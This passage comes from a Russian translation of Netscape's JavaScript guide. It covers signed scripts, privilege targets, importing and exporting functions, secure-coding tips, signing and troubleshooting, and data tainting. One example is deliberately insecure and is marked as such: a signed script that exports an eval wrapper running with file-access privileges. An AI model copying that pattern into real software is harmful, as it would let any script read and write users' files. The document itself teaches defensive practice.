функции, которые вызываются после запроса и внутри функции <CODE>g</CODE>,
получают привилегии.</p><PRE><A NAME="1015243"></a><SCRIPT ARCHIVE="ckHistory.jar" ID="a"></PRE><PRE><A NAME="1015244"></a>function printEnabled(i) {<br> if (history[0] == "") {<br> document.write(i + ": disabled<BR>");<br> } else {<br> document.write(i + ": enabled<BR>"); <br> }<br>}</PRE><PRE><A NAME="1015245"></a>function f() {<br> printEnabled(1); <br>}</PRE><PRE><A NAME="1015246"></a>function g() {<br> printEnabled(2);<br> netscape.security.PrivilegeManager.enablePrivilege(<br> "UniversalBrowserRead");<br> printEnabled(3);<br> f();<br> printEnabled(4); <br>}</PRE><PRE><A NAME="1015247"></a>function h() {<br> printEnabled(5);<br> g(); <br> printEnabled(6); <br>}</PRE><PRE><A NAME="1015248"></a>printEnabled(7); <br>h(); <br>printEnabled(8);</PRE><PRE><A NAME="1015249"></a></SCRIPT></PRE>
<H4><A NAME="Head3;"></a><A NAME="1015251"></a>Цели/Targets</H4><hr><p><A NAME="1015252"></a>
Типы информации, которую Вы можете получить, называются targets. Они перечислены в таблице.</p>
<A NAME="1020341"></a><TABLE BORDER="2" CELLPADDING=5><TR><TH><A NAME="1015255"></a>
Target/Цель<TH><A NAME="1015257"></a>Описание<TR><TD><PRE><A NAME="1015259"></a>UniversalBrowserRead</PRE><TD><P><A NAME="1015261"></a>
Позволяет читать привилегированные данные из браузера. Это даёт возможность скрипту передавать одну проверку источника всему документу.</P>
<TR><TD><PRE><A NAME="1015263"></a>UniversalBrowserWrite</PRE><TD><P><A NAME="1015265"></a>
Позволяет модифицировать привилегированные данные в браузере. Это даёт
возможность скрипту передавать одну проверку источника всему документу.</P>
<TR><TD><PRE><A NAME="1015267"></a>UniversalBrowserAccess</PRE><TD><P><A NAME="1015269"></a>
Позволяет читать и модифицировать привилегированные данные из браузера. Это
даёт возможность скрипту передавать одну проверку источника всему документу.</P>
<TR><TD><PRE><A NAME="1015271"></a>UniversalFileRead</PRE><TD><P><A NAME="1015273"></a>
Даёт скрипту возможность читать любой файл на жёстком диске или другом носителе, подключённом к компьютеру.</P>
<TR><TD><PRE><A NAME="1015275"></a>UniversalPreferencesRead</PRE><TD><P><A NAME="1015277"></a>
Даёт скрипту возможность читать настройки, используя метод <CODE>navigator.preference</CODE>.</P>
<TR><TD><PRE><A NAME="1015279"></a>UniversalPreferencesWrite</PRE><TD><P><A NAME="1015281"></a>
Даёт скрипту возможность устанавливать настройки, используя метод <CODE>navigator.preference</CODE>.</P>
<TR><TD><PRE><A NAME="1015283"></a>UniversalSendMail</PRE><TD><P><A NAME="1015285"></a>
Даёт программе возможность отправлять посту на имя пользователя.</P></TABLE><p><A NAME="1015288"></a>
Полный список targets см. в документе <EM> <A HREF="http://developer.netscape.com/docs/manuals/signedobj/targets/index.php" TARGET="_top">Netscape System Targets</a></EM>.</p>
<H4><A NAME="Head3;"></a><A NAME="1015289"></a>Возможности JavaScript, требующие наличия привилегий</H4><hr><p><A NAME="1015290"></a>
В этом разделе дан список возможностей языка JavaScript, которые требуют
расширенных привилегий, и цели, используемые для доступа к каждой возможности.
Немаркированные скрипты не могут использовать эти возможности, если конечный пользователь не включил принципалы кодовой базы.</p>
<ul><LI><A NAME="1015291"></a>Выгрузка файла требует привилегии <CODE>UniversalFileRead</CODE>.</LI><LI><A NAME="1015292"></a>
Отправка формы по URL <CODE>mailto:</CODE> или <CODE>news:</CODE> требует
привилегии <CODE>UniversalSendMail</CODE>.</LI><LI><A NAME="1015293"></a>
Использование URL <CODE>about:</CODE>, отличное от <CODE>about:blank</CODE>,
требует привилегии <CODE>UniversalBrowserRead</CODE>.</LI><LI><A NAME="1015294"></a>
Объект <CODE>event</CODE>: Установка любого свойства требует привилегии <CODE>UniversalBrowserWrite</CODE>.</LI><LI><A NAME="1015295"></a>
Событие <CODE>DragDrop</CODE>: Получение значения свойства <CODE>data</CODE> требует
привилегии <CODE>UniversalBrowserRead</CODE>.</LI><LI><A NAME="1015296"></a>
Объект <CODE>history</CODE>: Получение значения любого свойства требует привилегии <CODE>UniversalBrowserRead</CODE>.</LI><LI><A NAME="1015297"></a>
Объект <CODE>navigator</CODE>:</LI><ul><LI><A NAME="1015298"></a>
Получение значения настройки с использованием метода <CODE>preference</CODE>
требует привилегии <CODE>UniversalPreferencesRead</CODE>.</LI><LI><A NAME="1015299"></a>
Установка значения настройки с использованием метода <CODE>preference</CODE>
требует привилегии <CODE>UniversalPreferencesWrite</CODE>.</LI></ul><LI><A NAME="1015300"></a>
Объект <CODE>window</CODE>: Разрешение на выполнение следующих операций требует
привилегии <CODE>UniversalBrowserWrite.</CODE><ul><LI><A NAME="1015301"></a>
Добавление и удаление directory bar, location bar, menu bar, personal bar, scroll bar, status
bar или toolbar.</LI><LI><A NAME="1015302"></a>Использование методов из следующей таблицы при указанных обстоятельствах:</LI>
</ul></ul><A NAME="1020364"></a><TABLE BORDER="2" CELLPADDING=5>
<TR><TD><PRE><A NAME="1024599"></a>enableExternalCapture</PRE><TD><P><A NAME="1024601"></a>
Для захвата событий на страницах, загруженных с других серверов. Затем используйте <CODE>captureEvents</CODE>.</P>
<TR><TD><PRE><A NAME="1024603"></a>close</PRE><TD><P><A NAME="1024605"></a>Безусловное закрытие окна браузера.</P>
<TR><TD><PRE><A NAME="1024607"></a>moveBy</PRE><TD><P><A NAME="1024609"></a>Перемещение окна за пределы экрана.</P>
<TR><TD><PRE><A NAME="1024611"></a>moveTo</PRE><TD><P><A NAME="1024613"></a>Перемещение окна за пределы экрана.</P>
<TR><TD><PRE><A NAME="1024615"></a>open</PRE><TD><ul><LI><A NAME="1024617"></a>
Для создания окна размером меньше 100 x 100 пикселов или больше, чем экран
может вместить, с использованием <CODE> innerWidth</CODE>, <CODE>innerHeight</CODE>, <CODE>outerWidth</CODE>
и <CODE>outerHeight</CODE>.<LI><A NAME="1024618"></a>
Для перемещения окна за пределы экрана с использованием <CODE> screenX</CODE>
и <CODE>screenY</CODE>.<LI><A NAME="1024619"></a>
Для создания окна без строки заголовка с использованием <CODE> titlebar</CODE>.<LI><A NAME="1024620"></a>
При использования <CODE>alwaysRaised</CODE>, <CODE>alwaysLowered</CODE> или <CODE>z-lock</CODE> для любых установок.</ul>
<TR><TD><PRE><A NAME="1024622"></a>resizeTo</PRE><TD><P><A NAME="1024624"></a>
Для изменения размеров окна на меньшие, чем 100 x 100 пикселов, или на большие, чем экран может вместить.</P>
<TR><TD><PRE><A NAME="1024626"></a>resizeBy</PRE><TD><P><A NAME="1024628"></a>
Для изменения размеров окна на меньшие, чем 100 x 100 пикселов, или на большие, чем экран может вместить.</P></TABLE>
<ul><ul><LI><A NAME="1020376"></a>Установка следующих свойств при указанных обстоятельствах:</LI></ul></ul><A NAME="1020386"></a>
<TABLE BORDER="2" CELLPADDING=5><TR><TD><PRE><A NAME="1020379"></a>innerWidth</PRE><TD><P><A NAME="1020381"></a>
При установке внутренней ширины окна в размеры менее 100 x 100 или более, чем экран может вместить.</P>
<TR><TD><PRE><A NAME="1020383"></a>innerHeight</PRE><TD><P><A NAME="1020385"></a>
При установке внутренней ширины окна в размеры менее 100 x 100 или более, чем экран может вместить.</P></TABLE>
<H4><A NAME="Head3;"></a><A NAME="1020387"></a>Пример</H4><hr><p><A NAME="1015346"></a>
В этом скрипте имеется кнопка, которая, когда её нажимают, выводит диалоговое
окно alert, содержащее часть истории URL браузера. Для правильной работы этот скрипт обязан быть маркированным.</p>
<PRE><A NAME="1015347"></a><SCRIPT ARCHIVE="myArchive.jar" ID="a"></PRE><PRE><A NAME="1015348"></a>function getHistory(i) {<br> //попытка доступа к привилегированной информации<br> return history[i]; <br>}</PRE><PRE><A NAME="1015349"></a>function getImmediateHistory() {<br> //запрос привилегии<br> netscape.security.PrivilegeManager.enablePrivilege(<br> "UniversalBrowserRead"); <br> return getHistory(1); <br>}</PRE><PRE><A NAME="1015350"></a></SCRIPT> <br>...<br><INPUT TYPE="button" onClick="alert(getImmediateHistory());" ID="b"></PRE>
<H3><A NAME="Head2;"></a><A NAME="1015352"></a>Написание скрипта</H3><hr><p><A NAME="1015353"></a>В этом разделе специально рассматривается с написание маркированных скриптов.
Дополнительно см. статьи <EM><A HREF="http://developer.netscape.com/viewsource/index.phpl" TARGET="_top">View Source</a></EM>, <EM><A HREF="http://developer.netscape.com/viewsource/goodman_sscripts.phpl" TARGET="_top">Applying Signed Scripts</a></EM>.</p>
<H4><A NAME="Head3;"></a><A NAME="1015364"></a>Захват событий из других серверов</H4><hr><p><A NAME="1015365"></a>
Если окно с фрэймами должно захватывать события на страницах с других серверов,
используйте метод <CODE>enableExternalCapture</CODE> в маркированном скрипте,
запрашивающем привилегии <CODE>UniversalBrowserWrite</CODE>.<br>
Используйте этот метод перед вызовом метода <CODE>captureEvents</CODE>. Например,
с помощью следующего кода окно может захватывать все события <CODE>Click</CODE> во всех своих фрэймах.</p>
<PRE><A NAME="1015366"></a><SCRIPT ARCHIVE="myArchive.jar" ID="archive"><br>...<br>function captureClicks() {<br> netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite"); <br> enableExternalCapture();<br> captureEvents(Event.CLICK);<br> ...<br>}<br>...<br></SCRIPT></PRE>
<H4><A NAME="Head3;"></a><A NAME="1015368"></a>Изолирование немаркированного слоя внутри маркированного контейнера</H4>
<hr><p><A NAME="1015369"></a>Для создания немаркированного слоя внутри маркированного контейнера Вы должны
выполнить некоторые дополнительные шаги, чтобы скрипты в немаркированном слове работали правильно.</p>
<ul><LI><A NAME="1015370"></a>Вы обязаны установить в свойство <CODE>__parent__</CODE> объекта <CODE>layer</CODE>
значение <CODE>null</CODE>, чтобы просмотры переменных, выполняемые скриптом в
немаркированном слое, не доходили по цепочке родителей до объекта <CODE>window</CODE>
и не пытались получить доступ к свойствам объекта <CODE>window</CODE>, которые
защищены проверкой контейнера.</LI><LI><A NAME="1015371"></a>
Поскольку стандартные объекты (<CODE>String</CODE>, <CODE>Array</CODE>, <CODE>Date</CODE>
и т.д.) определяются обычно в объекте <CODE>window</CODE>, а не в слое, Вы
обязаны вызывать метод <CODE>initStandardObjects</CODE> объекта <CODE>layer</CODE>.
Это создаст копии стандартных объектов в области видимости слоя.</LI></ul><H4><A NAME="Head3;"></a><A NAME="1015372"></a>
Интернациональные символы в маркированных скриптах</H4><hr><p><A NAME="1015373"></a>
При использовании в скриптах интернациональные символы могут появляться в
строковых константах и в комментариях. Ключевые слова и переменные JavaScript не
могут содержать интернациональных специальных символов.</p><p><A NAME="1015374"></a>
Скрипты, содержащие символы других языков (интернациональные), не могут быть
промаркированы, потому что процесс трансформации символов в локальный набор
символов дезавуирует подпись. Чтобы обойти это ограничение:</p><ul><LI><A NAME="1015375"></a>
Используйте замену (Escape) символы других языков (<CODE>'0xea'</CODE> и т.п.).</LI><LI><A NAME="1015376"></a>
Поместите данные, содержащие символы других языков, в скрытые/hidden элементы
формы и выполняйте доступ элементу формы через маркированный скрипт.</LI><LI><A NAME="1015377"></a>
Поместите маркированные и немаркированные скрипты в разные слои и используйте
символы других языков в немаркированных скриптах.</LI><LI><A NAME="1015378"></a>
Удалите комментарии, содержащие символы других языков.</LI></ul><p><A NAME="1015379"></a>
Для HTML, окружающего маркированные скрипты, ограничений на символы других языков нет.</p><H4><A NAME="Head3;"></a>
<A NAME="1015381"></a>Функции импорта и экспорта</H4><hr><p><A NAME="1015382"></a>
Вам могут понадобиться интерфейсы для вызова в засекреченных контейнерах (окнах
и слоях). Для этого используйте операторы <CODE>import</CODE> и <CODE>export</CODE>.
Экспортирование имени функции делает её доступной для импорта скриптами,
находящимися за пределами контейнера, без проверки контейнера.</p><p><A NAME="1015383"></a>
Вы можете импортировать и экспортировать только функции - как функции верхнего
уровня (ассоциированные с объектом <CODE>window</CODE>), так и методы некоторых
других объектов. Вы не можете импортировать или экспортировать объекты целиком или свойства, которые не являются функциями.</p>
<p><A NAME="1015384"></a>Импортирование функции в Вашу область видимости создаёт новую функцию с тем же
именем, что и у импортируемой функции. Вызов такой функции вызывает
соответствующую функцию из засекреченного контейнера.</p><p><A NAME="1024252"></a>
Для использования <CODE>import</CODE> и <CODE>export</CODE> Вы обязаны явно
установить атрибут <CODE>LANGUAGE</CODE> тэга <CODE>SCRIPT</CODE> в <CODE>"JavaScript1.2"</CODE>:</p>
<PRE><A NAME="1024253"></a><SCRIPT LANGUAGE="JavaScript1.2"></PRE>
<p><A NAME="1015386"></a>В маркированном скрипте, который определяет функцию, доступ к которой Вы хотите
дать другим скриптам, используйте оператор <CODE>export</CODE>. Синтаксис этого оператора:</p>
<PRE><A NAME="1015387"></a><I>exportStmt</I> ::= export <I>exprList<br>exprList</I> ::= <I>expr</I> | <I>expr</I>, <I>exprList</I></PRE>
<p><A NAME="1015388"></a>где каждое <I>expr</I> обязано разрешаться в имя функции. Оператор <CODE>export</CODE>
маркирует каждую функцию как импортируемую.</p><p><A NAME="1015389"></a>
В скрипте, в который Вы хотите импортировать функцию, используйте оператор <CODE>import</CODE>.
Синтаксис этого оператора:</p>
<PRE><A NAME="1015390"></a><I>importStmt</I> ::= import <I>importList<br>importList</I> ::= <I>importElem</I> | <I>importElem</I>, <I>importList<br>importElem</I> ::= <I>expr</I>.<I>funName</I> | <I>expr</I>.*</PRE>
<p><A NAME="1015391"></a>Выполнение <CODE>import</CODE> <I>expr.funName</I> вычисляет <I>expr</I> и
импортирует функцию <I>funName</I> объекта в пределах текущей области видимости.
Будет ошибкой, если <I>expr</I> не вычисляется в объект, если нет функции по
имени <I>funName</I> или если функция существует, но не маркирована как
импортируемая. Выполнение <CODE>import </CODE><I>expr</I><CODE>.*</CODE>
импортирует все импортируемые функции из <I>expr</I>.</p><h6><A NAME="Head4;"></a><A NAME="1015392"></a>Пример</h6>
<p><A NAME="1015393"></a>В это примере имеются три страницы в наборе фрэймов/frameset. Файл <CODE>containerAccess.phpl</CODE>
определяет этот набор фрэймов и вызывает пользовательскую функцию, когда набор
фрэймов загружен. Одна страница, <CODE>secureContainer.phpl</CODE>, содержит
маркированный скрипт и экспортирует функцию. Другая страница, <CODE>access.phpl</CODE>, импортирует экспортируемую функцию и вызывает её.</p>
<p><A NAME="1015394"></a>Поскольку этот пример экспортирует функцию, которая не включает или не требует
расширенных привилегий, Вы можете экспортировать функцию, которая включает
привилегии. Если Вы это делаете, Вы должны быть предельно осторожны, чтобы
случайно не дать доступ хакеру. Дополнительно см. <A HREF="#1015424">"Будьте Осторожны с Тем, Что Экспортируете"</a>.</p>
<p><A NAME="1015398"></a>Файл <CODE>containerAccess.phpl</CODE> содержит следующий код:</p>
<PRE><A NAME="1015399"></a><HTML><br><FRAMESET NAME=myframes ROWS="50%,*" onLoad="inner.myOnLoad()"><br><FRAME NAME=inner SRC="access.phpl"><br><FRAME NAME=secureContainer SRC="secureContainer.phpl"><br></FRAMESET><br></HTML></PRE>
<p><A NAME="1015400"></a>Файл <CODE>secureContainer.phpl</CODE> содержит следующий код:</p>
<PRE><A NAME="1015401"></a><HTML><br>This page defines a variable and two functions. <br>Only one function, publicFunction, is exported.<br><BR></PRE><PRE><A NAME="1015402"></a><SCRIPT ARCHIVE="secureContainer.jar" LANGUAGE="JavaScript1.2" ID="a"></PRE><PRE><A NAME="1015403"></a>function privateFunction() {<br> return 7;<br>}</PRE><PRE><A NAME="1015404"></a>var privateVariable = 23;</PRE><PRE><A NAME="1015405"></a>function publicFunction() {<br> return 34;<br>}<br>export publicFunction;</PRE><PRE><A NAME="1015406"></a>netscape.security.PrivilegeManager.enablePrivilege(<br> "UniversalBrowserRead");<br>document.write("This page is at " + history[0]);</PRE><PRE><A NAME="1015407"></a>// привилегии отменяются автоматически при окончании работы скрипта<br></SCRIPT><br></HTML></PRE>
<p><A NAME="1015408"></a>Файл <CODE>access.phpl</CODE> содержит следующий код:</p>
<PRE><A NAME="1015409"></a><HTML><br>This page attempts to access an exported function from a signed<br>container. The access should succeed.</PRE><PRE><A NAME="1015410"></a><SCRIPT LANGUAGE="JavaScript1.2"></PRE><PRE><A NAME="1015411"></a>function myOnLoad() {<br> var ctnr = top.frames.secureContainer;<br> import ctnr.publicFunction;<br> alert("value is " + publicFunction());<br>}</PRE><PRE><A NAME="1015412"></a></SCRIPT><br></HTML></PRE>
<H4><A NAME="Head3;"></a><A NAME="1015414"></a>Подсказки для написания безопасного JavaScript</H4><hr><h6><A NAME="Head4;"></a>
<A NAME="1015415"></a>Проверка размещения скрипта</h6><p><A NAME="1015416"></a>
Если Вы промаркировали скрипты на страницах, размещённых на Вашем сайте, можно
скопировать JAR-файл с Вашего сайта и поместить его на другой сайт. Поскольку
сами по себе маркированные скрипты не изменились, они будут продолжать работу
под Вашей подписью. (См. в разделе <A HREF="#1015478">"Отладка Ошибок Хэша"</a>
об одном исключении из этого правила.)</p><p><A NAME="1015420"></a>
Если Вы хотите предотвратить это, Вы может заставить Ваши скрипты работать только с Вашего сайта.</p>
<PRE><A NAME="1015421"></a><SCRIPT ARCHIVE="siteSpecific.jar" ID="a" LANGUAGE="JavaScript1.2"><br>if (document.URL.match(/^http://www.company.com//)) {<br> netscape.security.PrivilegeManager.enablePrivilege(...);<br> // здесь начинка скрипта<br>}<br></SCRIPT></PRE>
<p><A NAME="1015422"></a>Тогда, если JAR-файл и скрипт скопированы на другой сайт, они не будут больше
работать. Если тот, кто скопировал скрипт, изменит его, чтобы обойти проверку источника скрипта, подпись дезавуируется.</p>
<h6><A NAME="Head4;"></a><A NAME="1015424"></a>Будьте осторожны с тем, что экспортируете</h6><p><A NAME="1015425"></a>
Когда Вы экспортируете функцию из Вашего маркированного скрипта, Вы фактически
передаёте доверительное пользование любому скрипту, вызывающему Вашу функцию.
Это означает, что Вы несёте ответственность за то, что экспортируете интерфейсы,
которые могут использоваться нежелательным образом. Например, следующая
программа экспортирует вызов <CODE>eval</CODE>, который может работать под расширенными привилегиями.</p>
<PRE><A NAME="1024170"></a><SCRIPT ARCHIVE="duh.jar" ID="a"><br>function myEval(s) {<br> netscape.security.PrivilegeManager.enablePrivilege(<br> "UniversalFileAccess");<br> return eval(s);<br>}<br>export myEval; // НЕ ДЕЛАЙТЕ ЭТОГО!!!!<br></SCRIPT></PRE>
<p><A NAME="1024171"></a>Теперь любой другой скрипт может импортировать <CODE>myEval</CODE> и читать и
записывать любой файл на пользовательском жёстком диске, используя доверительное пользование, переданное Вам пользователем.</p>
<h6><A NAME="Head4;"></a><A NAME="1015428"></a>Минимизация Trusted Code Base</h6><p><A NAME="1015429"></a>
На жаргоне системы безопасности, <EM>trusted code base</EM> (TCB) это набор
кода, имеющий привилегии для выполнения ограниченных акций. Одним из путей
повышения безопасности является уменьшение размера TCB, что даст меньше возможностей для атак или ошибок.</p>
<p><A NAME="1015430"></a>Например, следующий код, если он выполняется в маркированном скрипте с
пользовательским одобрением, открывает новое окно, содержащее историю браузера:</p>
<PRE><A NAME="1015431"></a><SCRIPT ARCHIVE="historyWin.jar" ID="a"><br>netscape.security.PrivilegeManager.enablePrivilege(<br> "UniversalBrowserAccess");<br>var win = window.open();<br>for (var i=0; i < history.length; i++) {<br> win.document.writeln(history[i] + "<BR>");<br>}<br>win.close();<br></SCRIPT></PRE>
<p><A NAME="1015432"></a>TCB в этом примере это весь скрипт, поскольку выданы в начале и нигде не
отменяются. Вы можете уменьшить TCB, переписав программу так:</p>
<PRE><A NAME="1015433"></a><SCRIPT ARCHIVE="historyWin.jar" ID="a"><br>var win = window.open();<br>netscape.security.PrivilegeManager.enablePrivilege(<br> "UniversalBrowserAccess");<br>for (var i=0; i < history.length; i++) {<br> win.document.writeln(history[i] + "<BR>");<br>}<br>netscape.security.PrivilegeManager.revertPrivilege(<br> "UniversalBrowserAccess");<br>win.close();<br></SCRIPT></PRE>
<p><A NAME="1015434"></a>После этого TCB - это только цикл, содержащий доступ к свойству <CODE>history</CODE>. Вы
можете исключить излишние вызовы Java, изменяя привилегию с помощью ввода функции:</p>
<PRE><A NAME="1015435"></a><SCRIPT ARCHIVE="historyWin.jar" ID="a"><br>function writeArray() {<br> netscape.security.PrivilegeManager.enablePrivilege(<br> "UniversalBrowserAccess");<br> for (var i=0; i < history.length; i++) {<br> win.document.writeln(history[i] + "<BR>");<br> }<br>}<br>var win = window.open();<br>writeArray();<br>win.close();<br></SCRIPT></PRE>
<p><A NAME="1015436"></a>Привилегии автоматически изменяются, когда <CODE>writeArray</CODE> возвращает
управление, поэтому Вам нет необходимости делать это явным образом.</p><h6><A NAME="Head4;"></a>
<A NAME="1015437"></a>Использование минимума, необходимого для решения задачи</h6><p><A NAME="1015438"></a>
Другой способ уменьшить возможность проникновения и возникновения ошибок -
использовать только необходимый минимум, необходимый для выполнения данного
доступа. Например, предыдущий код запрашивал <CODE>UniversalBrowserAccess</CODE>,
которая является целевым макросом, содержащим <CODE>UniversalBrowserRead</CODE>
и <CODE>UniversalBrowserWrite</CODE>. Только <CODE>UniversalBrowserRead</CODE>
требуется для чтения элементов из массива <CODE>history</CODE>, поэтому Вы может
переписать вышеприведённый код и сделать его более безопасным:</p>
<PRE><A NAME="1015439"></a><SCRIPT ARCHIVE="historyWin.jar" ID="a"><br>function writeArray() {<br> netscape.security.PrivilegeManager.enablePrivilege(<br> "UniversalBrowserRead");<br> for (var i=0; i < history.length; i++) {<br> win.document.writeln(history[i] + "<BR>");<br> }<br>}<br>var win = window.open();<br>writeArray();<br>win.close();<br></SCRIPT></PRE>
<H3><A NAME="Head2;"></a><A NAME="1015441"></a>Маркировка скриптов</H3><hr><p><A NAME="1015442"></a>
В процессе разработки скрипта, который Вы, возможно, промаркируете, Вы можете
использовать принципалы кодовой базы для проверки, как описано в разделе <A HREF="#1015135">"Принципалы
Кодовой Базы"</a>. После завершения модификации скрипта, Вам необходимо промаркировать его.</p><p><A NAME="1015446"></a>
Чтобы предоставить любому скрипту расширенные привилегии, все скрипты на этой же HTML-странице
или слое обязаны быть промаркированы. Если Вы используете слои, Вы может иметь
как маркированные, так и немаркированные скрипты, если храните их в разных слоях.
Дополнительно см. <A HREF="#1015075">"Использование Маркированных Скриптов"</a>.</p><p><A NAME="1024359"></a>
Вы можете маркировать JavaScript-файлы (доступ к которым выполняется через
атрибут <CODE>SRC</CODE> тэга <CODE>SCRIPT</CODE>), инлайн-скрипты, скрипты
обработчиков событий и объекты/entities JavaScript. Вы не можете маркировать URL'ы <CODE>javascript:</CODE>.
До того как маркировать скрипт, убедитесь, что Вы его идентифицировали
соответствующим образом, как описано в разделе <A HREF="#1015201">"Идентифицирование Маркированных Скриптов"</a>.</p>
<H4><A NAME="Head3;"></a><A NAME="1024364"></a>Использование утилиты Netscape Signing Tool</H4><hr><p><A NAME="1024448"></a>
После написания скрипта Вы маркируете его с помощью утилиты Netscape Signing Tool. См. <EM><A HREF="http://developer.netscape.com/docs/manuals/signedobj/signtool/index.php" TARGET="_top">Signing Software with Netscape Signing Tool 1.1</a></EM>.</p>
<H4><A NAME="Head3;"></a><A NAME="1024374"></a>После маркировки</H4><hr><p><A NAME="1024375"></a>
Если Вы промаркировали скрипт, а затем изменяете его, Вы обязаны повторно
маркировать его. Для JavaScript-файлов это означает, что Вы не можете ничего
изменять в файле. Для инлайн-скриптов - Вы не можете изменять ничего между
тэгами <CODE><SCRIPT ...></CODE> и <CODE></SCRIPT></CODE>. Для
обработчиков событий и объектов JavaScript - Вы не можете изменять вообще ничего в тэге, содержащем обработчик или объект.</p>
<p><A NAME="1015467"></a>Изменением может быть даже простое удаление пробела в скрипте.</p><p><A NAME="1015468"></a>
Изменения в байтовом потоке скрипта дезавуируют подпись скрипта. Сюда входит
перемещение HTML-страницы между платформами, имеющими разное представление
текста. Например, перемещение HTML-страницы с Windows-сервера на UNIX-сервер
изменяет байтовый поток и дезавуирует подпись. (Это не влияет на просмотр
страниц на разных платформах.) Чтобы избежать этого, Вы можете переместить
страницу в двоичном режиме. Заметьте, что это изменяет вид страницы в Вашем текстовом редакторе, но не в браузере.</p>
<p><A NAME="1015469"></a>Хотя Вы не можете вносить изменения в скрипт, Вы может изменять окружающую
информацию HTML-файла. Вы можете даже копировать маркированный скрипт из одного файла в другой, если Вы гарантируете, что в скрипте ничего не меняется.</p>
<H3><A NAME="Head2;"></a><A NAME="1015471"></a>Маркированные скрипты. Решение проблем.</H3><hr>
<H4><A NAME="Head3;"></a><A NAME="1015473"></a>Ошибки в Java-Консоли</H4><hr><p><A NAME="1015474"></a>
Проверьте консоль Java на наличие ошибок, если Ваши маркированные скрипты работают не так, как Вы ожидали. Вы можете увидеть такие ошибки:</p>
<PRE><A NAME="1015475"></a># Error: Invalid Hash of this JAR entry (-7882)<br># jar file: C:Program FilesNetscapeUsersnorriscacheMVI9CF1F.JAR<br># path: 1</PRE>
<p><A NAME="1015476"></a>Значение path, выведенное для маркированного JavaScript, это либо значение
атрибута <CODE>ID</CODE> или <CODE>SRC</CODE> тэга, предоставляющего скрипт.</p><H4><A NAME="Head3;"></a>
<A NAME="1015478"></a>Отладка ошибок хэша</H4><hr><p><A NAME="1015479"></a>
Ошибки хэша возникают, если скрипт изменяется после маркировки. Чаще всего
причиной этого является то, что скрипты перемещаются с одной платформы на другую
в текстовом режиме, а не в бинарном. Поскольку символы разделения строк
отличаются на многих платформах, хэш может измениться, если скрипт был маркирован.</p><p><A NAME="1015480"></a>
Хорошим способом решить эту проблему является использование опции <CODE>-s</CODE>
для <CODE>signPages</CODE>, которая сохраняет инлайн-скрипты в JAR-файле. Вы
можете затем распаковать jar-файл, если получаете ошибки хэша и сравнить его с HTML-файлом
для поиска источника проблемы. О <CODE>signPages</CODE>, см. <EM><A HREF="http://developer.netscape.com/docs/manuals/signedobj/signtool/index.php" TARGET="_top">Signing Software with Netscape Signing Tool 1.1</a></EM>.</p>
<H4><A NAME="Head3;"></a><A NAME="1015483"></a>Исключение "User did not grant privilege" или диалоговое окно Unsigned Script</H4>
<hr><p><A NAME="1015484"></a>В зависимости от того, включили Вы принципалы кодовой базы или нет, Вы увидите
различное поведение при попытке скрипта получить привилегии, если он не
маркирован или если его принципалы были сокращены при пересечении/смешивании.</p><p><A NAME="1015485"></a>
Если Вы но включили принципалы кодовой базы и скрипт пытается получить
привилегии для немаркированного скрипта, будет вызвано исключение Java,
что "user did not grant privilege/у пользователя нет нужной привилегии". Если Вы
включили принципалы кодовой базы, Вы увидите диалоговое окно Java, запрашивающее разрешение для немаркированного кода.</p>
<p><A NAME="1021261"></a>Такое поведение обусловлено либо ошибкой при проверке сертификата принципалов (что
вызовет вывод сообщения об ошибке в Java-консоли; см. <A HREF="#1015473">"Ошибки
в Java-Консоли"</a>), либо смешением маркированных и немаркированных скриптов.
Есть множество возможных источников немаркированных скриптов. В особенности
из-за того, что нет способа маркировать URL'ы <CODE>javascript:</CODE>
или динамически сгенерированные скрипты, использование которых вызывает сокращение принципалов.</p>
<H2><A NAME="Using Data Tainting"><A NAME="1021266"></a>Использование разрушения данных</H2><hr><p><A NAME="1021269"></a>
В JavaScript 1.1 имеется возможность, называемая <I>data taintingразрушение
данных</I>, которая остаётся ограничением безопасности той же самой политики
одного источника, но предоставляет средство для секретного доступа к
специфическим компонентам страницы. Эта возможность имеется только в JavaScript 1.1; в JavaScript 1.2 она удалена.</p>
<ul><LI><A NAME="1020916"></a>Если разрушение данных включено, JavaScript может смотреть свойства в другом
окне, независимо от того, с какого сервера было загружено второе окно. Однако
автор второго окна <i>разрушает</i> (маркирует) значения свойств или иные
данные, которые должны быть секретными или закрытыми, и JavaScript не может
передать эти разрушенные данные любому серверу без разрешения пользователя.</LI><LI><A NAME="1020917"></a>
Если разрушение данных отключено, скрипт не может получить доступ к любому свойству окна с другого сервера.</LI></ul>
<p><A NAME="1020918"></a>Чтобы включить разрушение, конечный пользователь устанавливает переменную
окружения/environment variable, как описано в разделе <A HREF="#1020979">"Включение Разрушения"</a>.</p>
<H3><A NAME="Head2;"></a><A NAME="1020923"></a>Как работает разрушение данных</H3><hr><p><A NAME="1020924"></a>
Автор страницы отвечает за разрушение данных в элементах. В таблице перечислены свойства и методы, которые разрушаются по умолчанию.</p>
<A NAME="1020971"></a><h6 style="text-align: center"><A NAME="1020928"></a>
Таблица 14.3 Свойства, разрушаемые по умолчанию</h6><TABLE BORDER="2" CELLPADDING=5>
<TR><TH><A NAME="1020932"></a>Объект<TH><A NAME="1020934"></a>
Разрушенное свойство<TR><TD><P><A NAME="1020936"></a><CODE>document</CODE></P><TD><P><A NAME="1020938"></a>
<CODE>cookie</CODE>, <CODE>domain</CODE>, <CODE>forms</CODE>, <CODE>lastModified</CODE>, <CODE>links</CODE>, <CODE>referrer</CODE>, <CODE>title</CODE>, <CODE>URL</CODE></P>
<TR><TD><P><A NAME="1020940"></a><CODE>Form</CODE></P><TD><P><A NAME="1020942"></a>
<CODE>action</CODE>, <CODE>name</CODE></P><TR><TD><P><A NAME="1020944"></a>
любой элемент ввода на форме</P><TD><P><A NAME="1020946"></a>
<CODE>checked</CODE>, <CODE>defaultChecked</CODE>, <CODE>defaultValue</CODE>, <CODE>name</CODE>, <CODE>selectedIndex</CODE>, <CODE>selected</CODE>, <CODE>toString</CODE>, <CODE>text</CODE>, <CODE>value</CODE></P>
<TR><TD><P><A NAME="1020948"></a><CODE>history</CODE></P><TD><P><A NAME="1020950"></a>
<CODE>current</CODE>, <CODE>next</CODE>, <CODE>previous</CODE>, <CODE>toString</CODE></P>
<TR><TD><P><A NAME="1020952"></a>image</P><TD><P><A NAME="1020954"></a><CODE>name</CODE></P>
<TR><TD><P><A NAME="1020956"></a><CODE>Option</CODE></P><TD><P><A NAME="1020958"></a>
<CODE>defaultSelected</CODE>, <CODE>selected</CODE>, <CODE>text</CODE>, <CODE>value</CODE></P>
